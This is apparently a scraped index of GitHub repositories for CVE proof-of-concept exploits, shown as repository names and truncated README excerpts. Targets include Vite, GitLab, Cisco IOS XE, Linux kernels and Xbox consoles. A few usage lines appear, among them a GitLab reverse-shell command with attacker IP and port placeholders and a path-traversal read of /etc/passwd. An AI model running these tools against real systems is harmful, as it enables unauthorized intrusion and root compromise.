cve-2022-0185-crash-poc

Container running cve-2022-0185 crash POC This is a docker container that runs the crash POC from https://www.willsroot.io/2022/01/cve-2022-0185.html. The container runs unprivileged as UID 65534. You can also use docker run -u or set a security context with RunAsUser additionally, all should yie...

Path-Transversal-CVE-2025-31125-

Vite Exploit CVE-2025-31125 Descripción: Explota el path traversal en el endpoint @fs del Servidor de Desarrollo de Vite CVE-2025-31125 para acceder a archivos sensibles como /etc/passwd y /etc/hosts mediante URLs manipuladas. Creado por Harsh Gupta. Uso: python viteexploit.py -u http://target.co...

LiberationPlay-CVE-2025-24132-AirBourne-POC

LiberationPlay! CVE-2025-24132 AirBourne POC POC for CVE-2025-24132 AirBourne. Currently just triggers the overflow and causes a crash In an effort to try and gain root access to my car's head unit, I have researched and compiled everything I have learned about the Airplay Exploit CVE-2025-24132...

CVE-2024-23708

This repository does not have a README...

cve-2023-20198

cve-2023-20198 Descripción. Prueba de concepto de 1vere$k sobre CVE-2023-20198 basada en el Blog. También incluye una verificación de respuesta hexadecimal según el artículo original de Cisco. El script funciona en dos modos: Modo check: solo realiza una conexión a la URL específica y verifica el...

org.shaneking.demo.cve.y2021.s44228

org.shaneking.demo.cve.y2021.s44228 CVE-2021-44228...

CVE-2021-3493_CVE-2022-3357

NOTE 1. This is a GitHub repository containing source code and research information about 2 CVEs: CVE-2021-3493 and CVE-2022-3357, respectively a CVE allowing privilege escalation and a CVE allowing RCE intrusion. If we combine these two CVEs, we can infiltrate a WordPress server and if that serv...

frameworks_native_AOSP10_r33_ShaikUsaf-frameworks_native_AOSP10_r33_CVE-2020-0226

لا يحتوي هذا المستودع على ملف README...

apache__shiro_CVE-2023-34478_1-11-0

Apache Shiro Apache Shiro هو إطار عمل أمني لجافا قوي وسهل الاستخدام يقوم بالمصادقة Authentication، والتفويض Authorization، والتشفير Cryptography، وإدارة الجلسات Session Management. بفضل واجهة برمجة التطبيقات API سهلة الفهم في Shiro، يمكنك تأمين أي تطبيق بسرعة وسهولة – من أصغر تطبيقات الهاتف المحم...

CVE-2025-22131-POC

CVE-2025-22131 POC CVE-2025-22131 XSS Exploit by s0ck37 Reference: https://sploitus.com/exploit?id=152DAC32-8330-54D6-A916-7FC36EAA38B7...

CVE-2026-54900

CVE-2026-54900, CVE-2026-54902 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing...

CheckHKRCE

CheckHKRCE CVE-2021-36260 Código fuente basado en: https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py Instalación Python 3.8 + pip install requests Windows 10 SO, Linux Ubuntu Uso python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11 --rport 80...

collateral-damage

Collateral Damage Collateral Damage is a kernel exploit for Xbox SystemOS using CVE-2024-30088. It targets Xbox One and Xbox Series consoles running kernel versions 25398.4478, 25398.4908, and 25398.4909. The initial entrypoint is via the Game Script UWP application. The first stage payloads, PE...

CVE-2023-21768

CVE-2023-21768 PoC...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Usage root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Credit https://hackerone.com/reports/1154542 Referred code snippet from here: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Disclaimer:...

CVE-2022-37122-Exploit

CVE-2022-37122 Explorador de Path Traversal Un escáner robusto y repleto de funciones para detectar la vulnerabilidad de path traversal en logdownload.cgi de Carel pCOWeb CVE-2022-37122. Diseñado para investigadores de seguridad y evaluadores de penetración autorizados. 🚨 Aviso Importante SOLO PA...

UnPlus

unplus CVE-2026-43499 Futex PI UAF kernel arbitrary-address-write exploit core logic code, used to bypass SELinux and gain root. This repository only contains the core exploit logic source src/ and the single-binary packager wrapper/. src/target.h is a template ; you must fill in parameters for...

CVE-2025-0411-7-Zip-Mark-of-the-Web-Bypass

CVE-2025-0411-7-Zip-Mark-of-the-Web-Bypass This repository is about CVE-2025-0411 7-Zip Mark-of-the-Web Bypass vulnerability...

Netscaler-CVE-2026-8451

Netscaler-CVE-2026-8451...

CVE-2021-41773_CVE-2021-42013

CVE-2021-41773CVE-2021-42013 CVE-2021-41773 CVE-2021-42013 multi-threaded vulnerability batch detection and exploitation tool Introduction This tool can only be used for security testing, do not use for illegal purposes! Tool Purpose CVE-2021-41773 CVE-2021-42013 multi-threaded vulnerability batc...